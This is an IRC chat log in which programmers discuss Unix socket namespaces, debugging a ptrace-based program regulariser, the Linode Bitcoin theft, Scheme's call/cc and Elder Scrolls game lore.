14:26:01 <elliott> but not with all those letters like that, just o.
14:26:07 <elliott> fizzie: i think: /mode +o elliott should do it. thanks!
14:27:04 <elliott> you could also /mode +o Jafet. i think he is a good person.
14:27:40 <Jafet> I'm not so sure that command is correct. I tried it and it didn't work.
14:28:29 <elliott> oh!!!!! oh no. oh no. oh no.
14:28:33 <elliott> ask fizzie for help, i think. he is a good man
14:28:38 <elliott> he will get to you as i am sure he will get to me
14:28:42 <elliott> he gets to us all, one day.
14:30:58 <Taneb> Yay my graphics card doesn't want me to play Amnesia: the Dark Descent
14:31:32 <elliott> it might be satan. ask fizzie for help.
14:57:23 -!- ais523 has joined.
15:02:47 <ais523> how's (insert project here) getting on?
15:03:17 <ais523> and have you been working on anything recently?
15:03:39 <ais523> anyway, fun fact about Linux: UNIX sockets don't respect chroots, despite looking like filenames
15:03:43 <ais523> and, hmm, last week or so?
15:03:58 <coppro> what do you mean they don't respect chroots?
15:04:34 <ais523> if you have a socket /tmp/.X11-unix/X0, then you can't have another socket called /tmp/.X11-unix/X0 open at the same time
15:04:42 <ais523> even if they happen to be different tmps due to the processes having different root directories
15:05:03 <ais523> I was trying to figure out htf a process inside weboflies could detect X outside it, apparently that was how
15:05:28 <elliott> ais523: start the X as 99?
15:05:47 <ais523> elliott: nah, better, there's a kernel flag, implemented quite recently, to separate network namespaces
15:05:51 <elliott> or rewrite filenames in your -- right
15:05:54 <ais523> in fact, I think it makes socketcall work by itself
15:06:14 <ais523> you try to make a TCP connection and get all sorts of beautiful errors because there's no networking-related initialisation at all
15:06:39 <ais523> do weboflies nc localhost 9999, and you get an error message back that it couldn't determine the IP address that localhost referred to
15:06:46 <elliott> anyway, lately-as-in-past-week-or-so: not really much :(
15:06:50 <ais523> because there isn't an /etc/hosts inside weboflies, and it has no other sort of DNS
15:07:34 <elliott> did you see the editor who archived a talk page with only one, unfinished conversation, only a few days old?
15:08:07 <ais523> + pty output: telnet: could not resolve google.com/telnet: Servname not supported for ai_socktype\x0d\x0a
15:08:17 <ais523> elliott: no, not yet, haven't looked at Esolang since I came online
15:08:22 <ais523> but that's somewhat amusing
15:08:24 <elliott> ais523: aw, I spoiled the surprise
15:08:42 <elliott> it's the Basic Input/Output Commander guy
15:08:46 <ais523> ah, you revesed the archiving
15:08:49 <fizzie> I was thinking about mentioning the rather unsightly thing about Unix sockets and the filesystem.
15:08:51 <elliott> they also edited my comment a few times before /reverting/ themselves before archiving it...
15:08:58 <fizzie> Linux has that "abstract" Unix socket namespace, too.
15:09:09 <elliott> only slightly more competent at making languages
15:09:29 <ais523> we need a Category:Almost as Shameful
15:10:10 <ais523> hmm, I think we should ban low-level stuff that works along the same lines as CPUs worked decades ago
15:10:41 <ais523> because it's perpetuating the myth that computers actually work like that, and leading to worldwide inefficiency as a result
15:10:42 <elliott> ban crap? are you nuts? nobody would visit any more
15:10:49 <ais523> oh, I meant everywhere, not Esolang
15:11:14 <ais523> this would also imply banning x86, but I don't see the problem :)
15:11:19 <elliott> ais523: I do my part by fuming inside whenever anyone hails assembly as "right on the bare metal"
15:11:31 <elliott> (when they say C is that, I just laugh instead)
15:11:37 <elliott> (when they say C++ is that, I close the tab)
15:11:49 <Taneb> elliott, Lisp is like that
15:12:24 <elliott> well, hey, the lisp machine OSes used lisp even for mega low level stuff
15:12:32 <elliott> they got as much claim as C
15:13:00 <Taneb> Wow, I didn't know that
15:13:03 <ais523> elliott: oh, did you hear about the Linode hack?
15:13:27 <ais523> do you have opinions on it?
15:13:52 <elliott> ais523: the breach itself, in terms of what was done (just stealing credentials), is uneventful; the security policies it revealed are really bad
15:14:06 <elliott> but (a) Esolang has no really confidental data and (b) I have no reason to believe anywhere else is better
15:14:14 <fizzie> ais523: I suggested bitcoin micropayments (0.50 BTC/edit) for the esowiki, in order to make it a target for such activities; currently all the cool guys just ignore it, going after bitcoins.
15:14:30 <ais523> elliott: well, they also stole thousands of bitcoins, a bunch of Slashdot people think it was an inside job
15:14:40 <elliott> ais523: the breach itself, I meant as in "the attack"
15:14:43 <ais523> fizzie: 0.50 BTC is actually quite a lot
15:15:03 <ais523> it's between $2 and $3, right?
15:15:07 <elliott> ais523: "inside job" conspiracies sound right up Slashdot's alley
15:15:18 <ais523> seems a bit much for an edit
15:15:23 <ais523> elliott: subset-of-Slashdot? indeed
15:15:36 <elliott> $3 for an edit? it'd solve the BF derivatives
15:15:53 <ais523> I wouldn't help maintain the wiki if I had to pay $3 per edit
15:16:09 <elliott> ais523: oh, admins actually /get/ 0.50 BTC per edit
15:16:52 <elliott> ais523: other edits, obviously
15:17:06 <fizzie> Then do you get locked out from editing when the wallet is empty?
15:17:14 <fizzie> If you're an admin, I mean.
15:17:18 <elliott> No, it just doesn't pay you until someone else edits.
15:17:30 <elliott> This will lead to a boom in popularity as we desperately advertise it.
15:19:32 <elliott> ais523: anyway, the real story is that people would store such large amounts of money on budget-ish VPS providers
15:20:27 <fizzie> At least it wasn't anyone's full savings (AFAIK), just their day-to-day operations money.
15:20:29 <ais523> elliott: actually, they seem to have been acting quite sensibly, all the money stolen was a small proportion of the money that the person actually owned
15:20:51 <ais523> stuff that was being actively traded rather than in storage
15:21:12 <elliott> ais523: well, I hear figures around a month's worth of money and the like
15:21:16 <ais523> which leads me to wonder, how did Bitcoin exchanges get so big that around $200000 is only a tiny proportion of the total amount of money they're handling?
15:21:25 <elliott> anyway, it was mostly organisations, not people, as I understand it
15:21:30 <elliott> the biggest mining pool, the faucet, etc.
15:21:47 <elliott> at least ISTR Silk Road is the most popular BTC thing
15:22:01 <elliott> but I may be completely wrong :)
15:22:07 <ais523> yep, wrt organisations
15:22:49 <fizzie> ISTR that Bitcoinica was the one from whom the lottest money was stolen, and their post about it mentioned that due to X and Y their "hot wallet" was larger than other operators'.
15:23:30 <elliott> The problem with Bitcoin is that it's totally the most boringest of the cryptocurrencies.
15:24:30 <fizzie> Anyway, according to bitcoincharts Mt. Gox's 30-day volume for the bitcoin/USD exchange market is something like $14 million USD, so there's certainly some money happening there.
15:25:11 <elliott> oh, I think I heard there was some money laundering going through BTC, but I may be totally wrong again
15:25:47 <Taneb> I don't really get how Bitcoin works
15:26:06 <fizzie> http://bitcoincharts.com/charts/mtgoxUSD#tgSzm1g10zm2g25 -- the stablest currency ever.
15:26:14 <Taneb> Mind you, I don't really get how most things work
15:26:23 <elliott> Taneb: It doesn't, really.
15:26:33 <elliott> fizzie: Is that dip the MtGox hack?
15:27:06 <fizzie> It does have labels on the time axis; I can't recall when it happened.
15:27:33 <Taneb> fizzie, elliott, does mcmap work with MC 1.2.x?
15:28:56 <elliott> I doubt it will in the forseeable future, though fizzie would be the one to change that prediction.
15:30:08 <ais523> elliott: hmm, I'm suddenly reminded of the way that some commonly used programming language (I can't remember whether it was Perl or Python) treats invalid characters in its input, when re-encoding, by encoding them to invalid characters in its output
15:30:13 <fizzie> I would probably make that happen if I could motivate myself to MC somewhere.
15:30:23 <ais523> e.g. converting invalid UTF-8 to invalid UTF-16 in a reversible way
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15:31:39 <elliott> fizzie: You realise the entire map format has changed, right?
15:31:42 <elliott> Like, the world is twice as high now.
15:33:24 <ais523> "I saved that straight from the cache and the [code] tags should stop any formatting. I'll upload it when I have a chance, but I'm pretty sure it's identical."
15:33:27 <ais523> binary files do not work like that!
15:33:52 <fizzie> That doesn't sound like a terribly major change. Anyway, no, I don't "realise" anything; haven't looked at all.
15:34:04 <ais523> anyway, really crazy idea: is it possible to get a hashlife-like algorithm to work on a random initial state by lazifying the randomness?
15:34:51 <ais523> other anyway: I'm annoyed that X seems to segfault inside weboflies but not outside (both Xorg and Xvfb, which appear to be doing the same thing when they segfault)
15:35:03 <ais523> how do you request debug symbols for a package in Ubuntu?
15:35:13 <ais523> then all I'll have to do is get core dumps working inside weboflies…
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15:42:20 <fizzie> Having the randomness "lazy" sounds problematical in the sense that you never know what sort of things would be coming out of those regions, without evaluating them, and their effects can I guess spread at c or something.
15:53:42 <Jafet> That is really crazy because hashlife would utterly suck at it
15:53:57 <Jafet> At least until it stops being random
15:54:25 <elliott> <ais523> "I saved that straight from the cache and the [code] tags should stop any formatting. I'll upload it when I have a chance, but I'm pretty sure it's identical."
15:54:29 <elliott> ais523: we quoted that yesterday, too
15:54:35 <elliott> <fizzie> That doesn't sound like a terribly major change. Anyway, no, I don't "realise" anything; haven't looked at all.
15:54:42 <elliott> fizzie: They changed the save format.
15:54:55 <elliott> And, as I understand it, every chunk packet, completely.
15:55:12 <elliott> <ais523> how do you request debug symbols for a package in Ubuntu?
15:55:50 <ais523> ah, there's an xserver-xorg-core-dbg
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15:59:53 <elliott> wow, how long has it been since I *really* programmed?
16:00:59 <coppro> https://plus.google.com/109925364564856140495/posts/g4LbUEFBXTw
16:01:05 <coppro> elliott: I know the feeling
16:01:08 <coppro> <3 operating systems class
16:01:52 <fizzie> Oh, so it's 16x16x16 chunks now in a 256-high column? Well, still.
16:02:02 <elliott> People are tweeting on Google+ now?
16:05:11 <coppro> that one is a dedicated page so meh
16:11:18 * Phantom_Hoover idly ponders the presence of some brocolli on his desk.
16:12:54 <Phantom_Hoover> http://www.fileformat.info/info/unicode/char/1f360/index.htm
16:13:16 <Phantom_Hoover> Finally, a character to express roasted sweet potato without wasting all that space!
16:22:25 <ais523> I can't even figure out why weboflies would make a program segfault
16:22:48 <ais523> my guess is that it's assuming the existence of a file that doesn't exist and not checking an error condition, but it doesn't happen right after a file-related syscall
16:24:05 <fizzie> ais523: How do you deal with shared-memory blocks?
16:24:35 <ais523> mmap-based shared memory? I simply ensure that the scheduler's deterministic
16:24:42 <ais523> on the basis that processes can't access the shared memory while they aren't running
16:24:59 <ais523> this will break if someone spinlocks on shared memory, but who does that?
16:25:07 <ais523> (also, it'll break by going into an infinite loop, rather than segfaulting)
16:26:44 <ais523> which is, err, nontrivial to explain
16:26:53 <ais523> (formerly known as the Secret Project, but it's less secret than it used to be)
16:26:54 <elliott> Phantom_Hoover: you know weboflies
16:27:01 <elliott> <ais523> I can't even figure out why weboflies would make a program segfault
16:27:16 <elliott> ais523: ooh, you should post your weboflies problems on SO, the reactions would be priceless
16:27:20 <ais523> elliott: you /do/ know what happens if you put gdb and weboflies together, right?
16:27:22 <Phantom_Hoover> What was it that it did? Something to do with spoofing something, no?
16:27:25 <elliott> "Have you tried using gdb?" "Well... I can't."
16:27:41 <Phantom_Hoover> Oh, or giving you an environment to do things which are normally Bad?
16:27:53 <elliott> 5 minutes later: closed as too localised 30 seconds ago by [...]
16:28:05 <elliott> Phantom_Hoover: it's for speedruns
16:28:10 <ais523> stackoverflow is meant to be a collaborative FAQ building site, right?
16:28:15 <ais523> Phantom_Hoover: it's a program regulariser
16:28:24 <ais523> it makes Linux programs run in a repeatable way
16:28:25 <fizzie> ais523: I mean shared memory objects, you know, the sysv IPC style. Those have their own namespace (the 'keys'), and so on.
16:28:37 <ais523> I don't think I've caught anything using them yet
16:28:44 <elliott> <ais523> stackoverflow is meant to be a collaborative FAQ building site, right?
16:28:51 <ais523> but I don't see any reason why they couldn't be regularised the same as everything else?
16:29:45 <fizzie> ais523: It's just that X has that widespread MIT-SHM extension, I was wondering.
16:30:29 <fizzie> (Also a failed attach of a shm segment might easily cause things to segfault.)
16:30:34 <ais523> besides, there's only one process when it goes wrong
16:31:05 <ais523> so I don't think IPC is responsible
16:31:19 <ais523> and if weboflies doesn't have a syscall implemented, it forwards it to the actual kernel
16:32:52 <elliott> hey ais523, can you buy me more RAM?
16:33:13 <ais523> the answer is probably going to be no anyway
16:33:19 <ais523> but that doesn't stop me being curious
16:33:25 <elliott> well, you see... I want it
16:34:18 <elliott> editing a terrible article for some reason
16:34:21 <ais523> that seems statistically likely, I wouldn't expect him to have died unexpectedly
16:35:33 <elliott> always expect the unexpected
16:37:22 <fizzie> ais523: Anyway, can you get core dumps out of weboflies'd processes? It sounds not impossible for those to be gdb'able, depending on how things go.
16:37:37 <ais523> fizzie: that's what I'm wondering at the moment
16:37:56 <ais523> part of the problem is that even if it is dumping, I have no way to tell
16:38:02 <ais523> as it's being dumped on a filesystem that doesnt' exist
16:38:17 <ais523> and I can't do something like sh -c'program; ls' due to a ptrace misfeature
16:38:22 <ais523> that strace has an insane workaround for
16:38:45 <ais523> that I'll probably have to implement some day
16:39:03 <ais523> that reminds me, why /didn't/ I download strace's source, rather than relying on strace strace to determine everything about how it works?
16:40:59 <ais523> 3-clause BSD, by the look of it
16:41:11 <ais523> so I could even use code from it if necessary
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16:43:54 <fizzie> ais523: What was the basic weboflies mechanism, anyway? ptrace with PTRACE_SYSCALL?
16:44:05 <ais523> exactly the same as strace
16:44:39 <ais523> btw, weboflies works inside strace (but not strace -f, nor does strace work inside weboflies)
16:44:46 <ais523> I wonder if /ltrace/ works inside weboflies?
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16:45:59 <ais523> nope, there's a bunch of "program uses forbidden syscall 26" followed by ltrace complaining about ENOSYS errors
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16:48:15 <fizzie> In that case, I suppose you get the sigsegv in your tracer, and could just PTRACE_GETREGS the eip out of it? (And/or PTRACE_GETSIGINFO + si_addr as well.) Those numbers + /proc/maps + the debugging symbols might well give some sort of an indication to the cause of the fault, even without a proper core dump.
16:52:54 <ais523> right, I can figure out the IP pretty easily
16:53:25 <elliott> The IP address on the Web o' Flies.
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17:01:14 -!- Taneb has joined.
17:02:06 <itidus21> It is a day to celebrate Taneb
17:10:07 <ais523> I declare 5 March as International Taneb Day
17:10:59 -!- Ngevd has joined.
17:11:01 <itidus21> or international celebrate things based on grammatical ambiguities way day
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17:11:38 -!- Ngevd has changed nick to Taneb.
17:11:51 <Taneb> * Disconnected (An established connection was aborted by the software in your host machine)." mean?
17:16:35 <ais523> the connection was reset, basically
17:22:07 <Taneb> I reckon this arc in Gunnerkrigg Court is going to be weird
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17:38:00 <Taneb> Did you ever start a replacement to Rosyarrow?
17:38:45 <Phantom_Hoover> I kind of wanted elliott to, since both of us have had a shot at dictating the basic layout of a fort.
17:39:03 <Taneb> elliott's slightly asleep
17:39:04 <Phantom_Hoover> i.e. a beautifully efficient powerhouse vs. a confusing, sprawling mess.
17:39:20 <Taneb> Well, my fortress design is improving
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17:53:00 <itidus21> computer simulation of reality is so absurd...
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17:53:17 <Sgeo_> What's this about call/cc possibly being removed from Scheme?
17:53:29 -!- augur has joined.
17:53:31 <Sgeo_> Or at least Oleg wants to remove it
17:53:31 <Sgeo_> http://lists.scheme-reports.org/pipermail/scheme-reports/2012-February/001824.html
17:53:52 <itidus21> even the best simulators are all rigid optimizations of a physics problem
17:54:44 <itidus21> such simulations burning up exponentially large levels of electricity compared to the actual thing being simulated
17:56:07 <itidus21> on the other hand.. the large hadron collider i can respect...
17:57:16 <itidus21> as far as broadcasting sporting events.. if people just had local stadiums they wouldnt need hdtv
17:58:38 <Taneb> What if they were fans of American Football, but lived in Helsinki?
18:00:12 <itidus21> that would be better than being an australian in irc at 5am ranting about the limitations of technology
18:00:29 <Taneb> What part of Australia?
18:00:50 <Taneb> I've got family there
18:01:19 <itidus21> (humbly) its certainly one of the best places on earth to live
18:02:12 <Taneb> On which note, I'm thinking of learning C++
18:02:26 <ais523> Sgeo_: it's too low-level an abstraction
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18:04:12 <Sgeo_> What is an appropriate abstraction for, say, using a callback-taking library in a linear way? Threading?
18:04:42 <ais523> probably just using functions, why would you need continuations for that?
18:05:36 <Sgeo_> Because I don't want to keep putting the rest of my code in lambdas, etc., and then how could I, say, loop over such a thing
18:05:44 <Sgeo_> Wow, I'm not making myself clear at all :/
18:06:59 <Vorpal> ais523, uh, so how will you do the stuff you could do with call/cc instead?
18:07:09 <ais523> using higher-level abstractions, obviously
18:08:24 <Vorpal> ais523, I seen backtracking implemented with call/cc in a very elegant way, not sure what other abstraction in scheme would be suitable. Sure you could add new ones but will you need multiple ones or will whatever replaces call/cc be as flexible?
18:09:00 <Vorpal> I don't think you want to add in backtracking as such into the language standard for example.
18:26:18 <fizzie> Vorpal: Non-determinism is explicitly mentioned by the document. Generators are mentioned as a reasonable abstraction; not much details, though. (Also, have seen.)
18:27:40 <Vorpal> And uh, generators wouldn't replace several of the use cases of call/cc that I can think of. Unless I missed something huge.
18:29:19 <fizzie> Well, coroutines and the nondeterminism thing.
18:30:17 <Vorpal> Using call/cc to implement backtracking is probably my favourite usage of call/cc, and I can't see how to do that with generators.
18:30:31 <Vorpal> Unless they mean something else with generators than I think they do
18:31:44 <fizzie> I am presuming the nondeterminism bit means something that does (amb 1 2 3) and backtracking would instead turn into a set of (recursive) generators that would yield the total list of valid solutions when you keep prodding at it. Or something like that, anyway.
18:32:58 <Vorpal> fizzie, well, that sounds fancy. I think I see what you are getting at though
18:34:31 <fizzie> Another Oleg document at http://okmij.org/ftp/continuations/generators.html might be relevant.
18:36:14 <fizzie> I guess it would all be obvious if one knew any Icon.
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19:01:52 <Vorpal> I wonder which province the next TES game will be set in. Which ones haven't they done already (well, apart from in Arena that is)?
19:02:28 <Vorpal> I would love to see Elsweyr.
19:03:10 <Jafet> They've already done the whole continent, technically.
19:03:20 <Vorpal> Jafet, I said that above (Arena)
19:04:12 <Jafet> Or Black Marsh, but lizard people doesn't sell.
19:04:47 <Vorpal> hm so, Elsweyr, Valenwood, Black marsh and Summerset Isle haven't been done since Arena. Except possibly in spinnoff games. Most of Morrowind hasn't either but I doubt they will just make a game with everything apart from Vvardenfall (sp?)
19:05:32 <Vorpal> I have to see that Valenwood or Summerset Isle sounds most interesting to me.
19:05:58 <fizzie> You're just some sort of a specieist.
19:06:21 <fizzie> "No furries or lizards" and all that.
19:06:35 <Vorpal> Well, I would like to see some jungles, and looking at http://www.uesp.net/wiki/File:TamrielMap.jpg Valenwood looks good for that
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19:07:14 <Vorpal> I would also like better water content, perhaps with working boats. Which would be great with Summerset Isles perhaps
19:07:23 <fizzie> How about a Tamriel/Akavir real-time strategy wargame thing?-)
19:07:36 <Vorpal> well, I'm not an RTS fan
19:07:43 <Vorpal> but sure, Akavir would be interesting
19:07:56 <Jafet> Real time twitching
19:08:07 <Vorpal> fizzie, anyway where did the nords come from in the lore, didn't they come from yet another place?
19:08:46 <Vorpal> "The last purported emigrant from Atmora recorded in history is Tiber Septim, who presumably traveled directly to Skyrim, where he spent his youth.[5]"
19:09:09 <Vorpal> so, it looks like no one knows what has been going on there for several hundred of years at least?
19:09:45 <Vorpal> but I doubt they would do another place similar to Skryrim next
19:09:56 <Vorpal> could see Atmora as an expansion pack to Skyrim though
19:09:59 <fizzie> Yokuda, where the game starts, then you drown, and that's it. Cheap to make, at least.
19:12:14 <Jafet> Oblivion is another candidate, but bethesda is never in their life going to top Planescape: Torment
19:12:35 <Vorpal> also you need to come up with a name for that game
19:12:39 <Vorpal> you can't call it Oblivion
19:13:00 <Vorpal> because they called what should have been "Cyrodiil" "Oblivion"
19:13:17 <fizzie> Summerset Isles do sound very sellable, though. You can do lots of fancy architecture, and they've got the Psijics, and so on.
19:13:21 <Jafet> You die whenever the game encounters a bug
19:13:38 <Vorpal> fizzie, aren't the Thalmor (sp?) from Summerset Isles too?
19:14:00 <Vorpal> oh btw, are there any references to the Psijics before Skyrim? I certainly can't remember hearing of them.
19:14:13 <Jafet> Galerion the Mystic
19:14:25 <Jafet> Why do I know this.
19:14:48 <Vorpal> Jafet, congrats you are a TES lore expert!
19:14:53 <Vorpal> (or you just checked uesp)
19:14:59 <fizzie> I have a feeling there were books.
19:15:04 <Jafet> Probably because I actually read every book I find
19:15:20 <fizzie> I've just read all the UESP copies. :p
19:15:27 <Vorpal> Jafet, I read like half of them
19:16:27 <Vorpal> hm, I can't think of any other video game franchise with a quite as detailed, deep and intricate lore as TES
19:16:52 <Vorpal> (FF would probably have done it by now except they aren't even remotely consistent between the games anyway.)
19:17:42 <Jafet> They very obviously make shit up as they go along, unlike some other franchises
19:18:04 <Jafet> Eg. there was never any mention of a dragon enslavement of mankind before Skyrim
19:18:13 <Jafet> And even now it is impossible to date
19:19:10 <Phantom_Hoover> <fizzie> Summerset Isles do sound very sellable, though. You can do lots of fancy architecture, and they've got the Psijics, and so on.
19:19:27 <Vorpal> Jafet, well sure, but the games seldom outright contradict each other. And when they do it is usually some small detail, like a sword ending up two-handed in one game when it was one-handed before.
19:19:42 <Jafet> Well, they don't quite have the Psijics any more
19:19:46 <Phantom_Hoover> You could do some pretty impressive stuff with the setting, too, like if it was in the middle of an Imperial counterattack against the Thalmor.
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19:20:09 <Phantom_Hoover> That'd also deal with the problem of almost everyone being an Altmer and thus terrible.
19:20:24 <Vorpal> Phantom_Hoover, nice, as long as they improve the engine so it handles large scale battles
19:21:04 <Vorpal> Phantom_Hoover, or they could just do it as a set of special operation missions. Don't need a lot of people then :P
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19:21:21 <Jafet> Bethesda is a huge company with loads of clout, they can do just about anything with Tamriel now and it will fly. They just need to actually put two more years of work into each game
19:21:41 <Vorpal> Jafet, adding more bugs?
19:22:15 <Vorpal> Jafet, oh yes there is one HUGE piece of retcon. Between Arena and Oblivion.
19:22:26 <Vorpal> but that is the only really huge one I can think of
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19:22:58 <Jafet> Vorpal: they have bugs because they schedule out those two years of work
19:23:03 <Vorpal> (I'm talking about the shape and size of Cyrodiil)
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19:23:35 <Vorpal> I'm just waiting for the unofficial skyrim patch
19:24:17 <fizzie> I'm just waiting for Skyrim to become at least 50% off. :p
19:24:18 <Jafet> And that work doesn't just go to fixing bugs, it goes to actually completing all the quests
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19:24:35 <Jafet> So many storylines and plot arcs are left incomplete in the games
19:24:40 <Vorpal> Phantom_Hoover, uh? You know that Imperial Province? Cyrodiil...
19:24:51 <Vorpal> Phantom_Hoover, that grew a LOT in Oblivion
19:25:07 <Phantom_Hoover> Sure, if you take it to be *only* the area around the Imperial City.
19:25:11 <Jafet> Maybe people become smaller when they enter Cyrodiil
19:25:14 <Vorpal> Phantom_Hoover, on the map it is
19:25:49 <Vorpal> Phantom_Hoover, also all the towns (apart from Imperial city), like Bravil, Anvil and so on are missing
19:26:37 <Phantom_Hoover> <Jafet> And that work doesn't just go to fixing bugs, it goes to actually completing all the quests
19:26:48 <Phantom_Hoover> So you mean the factions would have actually *mattered*?
19:26:56 <Jafet> If they added things to Cyrodiil, it's not so much a retcon as a forecon
19:27:26 <Vorpal> <Jafet> So many storylines and plot arcs are left incomplete in the games <-- I feel like the Winterhold College questline is way too short compared to the Mage guild one in Oblivion
19:28:06 <Jafet> If the factions mattered at all, a player couldn't rise to the tops of all of them with the same character
19:28:09 <Vorpal> I mean, you should have to /work/ to become Argemage
19:28:21 <Jafet> Sadly, this design has become entrenched since Oblivion
19:28:32 <Vorpal> I mean, they shouldn't just let any new random person become it
19:29:08 <Phantom_Hoover> Vorpal, that the end of the College questline is particularly dumb is not a point of contention.
19:29:23 <Vorpal> Phantom_Hoover, indeed, I'm just venting some steam here.
19:29:54 <Jafet> Skyrim is generally bad because of the release date
19:29:58 <Vorpal> the Theives Guild quests are better. Far more work involved. Quite repetitive though, which is not a good thing.
19:30:13 <Vorpal> Jafet, it was released too early yeah
19:30:54 <Vorpal> well, they won't be able to nail the next game at 12/12/12, and after that, it is going to take ages before the next such chance
19:30:56 <Jafet> Well, that's what happens when the executives make the games.
19:31:13 <Vorpal> at worst they can do an expansion pack at 12/12/12
19:31:24 <Jafet> The most colourful game was Morrowind
19:31:25 <Vorpal> or a fallout game (meh)
19:31:46 <Vorpal> Jafet, didn't ever finish Morrowind, it is very crashy on my computer for some reason
19:31:59 <Vorpal> nah, would be Fallout 4
19:32:39 <Phantom_Hoover> http://spikedmath.com/480.html Intelligent commentary from the mathematics community.
19:32:50 <Vorpal> Jafet, I really liked Shivering Isles
19:34:08 <Phantom_Hoover> It'd be cool but no fun if they brought Solsteim back again.
19:35:01 <Vorpal> Phantom_Hoover, uh, you mean Solstheim?
19:35:20 <Phantom_Hoover> I got tired of checking the UESP before saying anything. So sue me.
19:35:40 <Vorpal> Phantom_Hoover, I was trying to search for it, as I never got that far into Morrowind :P
19:37:22 <Phantom_Hoover> I pirated it only to discover the copy I have's in Russian.
19:39:01 <Vorpal> Also I just died a bit inside. I found out they are adding a pre-rendered cutscene to the next update of Witcher 2 (due out on the 17th April).
19:39:31 <Vorpal> There is absolutely no need to, that game engine is amazing... And upscaling will of course be a problem
19:39:43 <Vorpal> http://www.gog.com/en/news/the_witcher_2_assassins_of_kings_enhanced_edition_announced
19:40:05 <Vorpal> 3.5 minutes of it even
19:41:22 <Vorpal> Phantom_Hoover, have you played that game btw?
19:41:32 <fizzie> Even a microsecond would be a blasphemy.
19:41:48 <Phantom_Hoover> fizzie, let's just hope nobody tells Vorpal about pictures.
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19:42:06 <Phantom_Hoover> Vorpal, no, on account of having heard it's kind of crap.
19:42:45 <Vorpal> Phantom_Hoover, who said that? And what was the reason for it?
19:43:29 <Phantom_Hoover> Overcomplicated interface, repetitive boring gameplay, bad plot...
19:44:11 <Vorpal> The combat is quite hard even on normal difficulty (some people like that, I like it). There is some LOD popin sometimes though. That is about the only bad things I can think of.
19:44:43 <Vorpal> Phantom_Hoover, and no the interface isn't overcomplicated. It works unlike that of Skyrim (which has a bloody awful interface on PC)
19:45:18 <Vorpal> it is the normal, inventory/map/level-up/journal-and-quests split for the menus, they are quite straight forward too.
19:46:35 <Vorpal> okay so there are a few minor menus, like the alchemy/crafting one. But that one is simple: Select recipe, click craft, select how many from the dialog that pops up.
19:46:56 * Phantom_Hoover wonders how the hell the term 'RPG' can cover both Skyrim and The Witcher 2.
19:47:11 <Vorpal> Phantom_Hoover, anyway, no the GUI isn't complicated. As for gameplay being boring. I would argue that Skyrim has fairly boring gameplay.
19:47:18 <Vorpal> compared to that of witcher 2
19:47:33 <Vorpal> the combat in Witcher 2 is really good. It could be boring if you play on easy.
19:47:39 <Phantom_Hoover> I mean, does role-playing mean following a set character on a largely predetermined path, or projecting yourself into the gameworld?
19:48:01 <Vorpal> and unlike Skyrim, the combat animations in witcher 2 are in the right place dammit
19:48:02 <Phantom_Hoover> They're both exact opposites and yet they're both treated as the same genre.
19:48:37 <Vorpal> Phantom_Hoover, well, in witcher 2 it follows a set character, but you can make major choices affecting the rest of the game in several places.
19:48:47 <Vorpal> There are two completely different chapter 2 for example
19:48:49 <Jafet> Not to be confused with roll playing
19:49:33 <Phantom_Hoover> Picking between 2 plots is hardly creating your own story.
19:49:56 <Vorpal> Phantom_Hoover, true, but how much story do you really create in Skyrim.
19:50:34 <Jafet> There isn't much story, just running from one NPC to the next
19:51:12 <Vorpal> Phantom_Hoover, You don't really change the game world that much. NPCs aren't going to treat you differently for beating the main quest apart from a few greetings here and there (unless they are related to the main quest, like the Blades or such)
19:51:26 <Phantom_Hoover> From a purely in-game perspective the Dragonborn is just some weirdo running around doing odd jobs.
19:51:35 <Vorpal> Phantom_Hoover, exactly
19:51:41 <Phantom_Hoover> It's up to you to tie that together into a coherent system of motivations and aims.
19:52:07 <Jafet> Not really. The game developers just weren't doing their job.
19:52:23 <Jafet> In other games, I don't need self-conscious effort to role-play.
19:52:32 <Vorpal> None of the NPCs really care about what you have done. You might be the hero of the realm and they will still great you like "hey, jerk who isn't a nord"
19:53:16 <Jafet> More to the point, the developers take great pain to have quests affect as little of the game world as possible
19:53:34 <Jafet> Because they don't want the casual teenage idiot to whine
19:53:48 <Vorpal> Phantom_Hoover, and I would say the plot is fairly good in Witcher 2. It is a plot of political intrigues really.
19:53:55 <Vorpal> and really good as such
19:54:18 <Vorpal> Phantom_Hoover, unless they are playing COD I'm not going to complain :P
19:54:38 <Vorpal> in fact I'm not going to complain if they play COD either, because that means they are not playing a game I'm playing :P
19:54:39 <Jafet> I doubt the casual teenage idiot would whine anyway, it's just executive rationality
19:55:24 <Vorpal> Jafet, I think the real reasons quests don't affect the game world much except for the NPCs tied directly to the quest (and sometimes barely even then) is to avoid bugs with quests interacting.
19:55:35 <Vorpal> Such bugs still happen yes. But imagine how much worse it could be.
19:55:59 <Phantom_Hoover> <Jafet> More to the point, the developers take great pain to have quests affect as little of the game world as possible
19:55:59 <Phantom_Hoover> <Jafet> Because they don't want the casual teenage idiot to whine
19:56:08 <Vorpal> Phantom_Hoover, it doesn't make sense
19:56:25 <Phantom_Hoover> "OH MY GOD THAT THING CHANGED SLIGHTLY I HATE THIS GAME!!111!!111!!1"?
19:56:32 <Vorpal> Phantom_Hoover, the real reason is most probably to avoid quest interaction bugs.
19:56:41 <Jafet> Yes, they actually worry that people complain about that.
19:57:22 <Jafet> Vorpal already gave the reason
19:57:38 <Jafet> OMGZ I CAN'T FINISH THIS QUEST BECAUSE I CHOSE TO RAZE ITS CITY
19:57:50 <Vorpal> Phantom_Hoover, also it would involve a lot of work to handle all possible questline interactions. Like arch mage and leader of companions and just joined thieves guild
19:58:22 <Phantom_Hoover> Like when I couldn't progress in the main quest because Winterhold was blocking it.
19:58:36 <Vorpal> haven't heard of that specific one, but yeah exactly
19:58:44 <Vorpal> from what I heard the civil war quest line manages break loads of other quests.
19:58:46 <Phantom_Hoover> It didn't make in-game sense; the dialogue trees just hadn't been built to cover that particular case.
19:59:29 <Jafet> How much work would it take to get all the questlines to interact properly?
19:59:45 <Vorpal> Phantom_Hoover, I'm unable to start becoming a thane of Falkreath (sp?) in my current game. And I have no idea why
19:59:51 <Phantom_Hoover> Jafet, I don't know, but it's a good bet that it'd be harder than you think.
19:59:55 <Vorpal> the relevant options just never show up when UESP say they should
20:00:02 <Vorpal> no known bug that applies listed
20:00:48 <Jafet> It's only hard in that it takes actual developer time
20:01:11 <Vorpal> Jafet, and expensive to hire voice actors for additional lines.
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20:01:30 <Vorpal> Phantom_Hoover, speaking of which, while the voice acting in skyrim isn't as bad as in oblivion, it is still pretty terrible
20:01:43 <Vorpal> apart from for a few select NPCs.
20:02:03 <Jafet> It's not so much terrible in itself as it is used badly
20:02:25 <Jafet> What with the continuing mudcrabitis
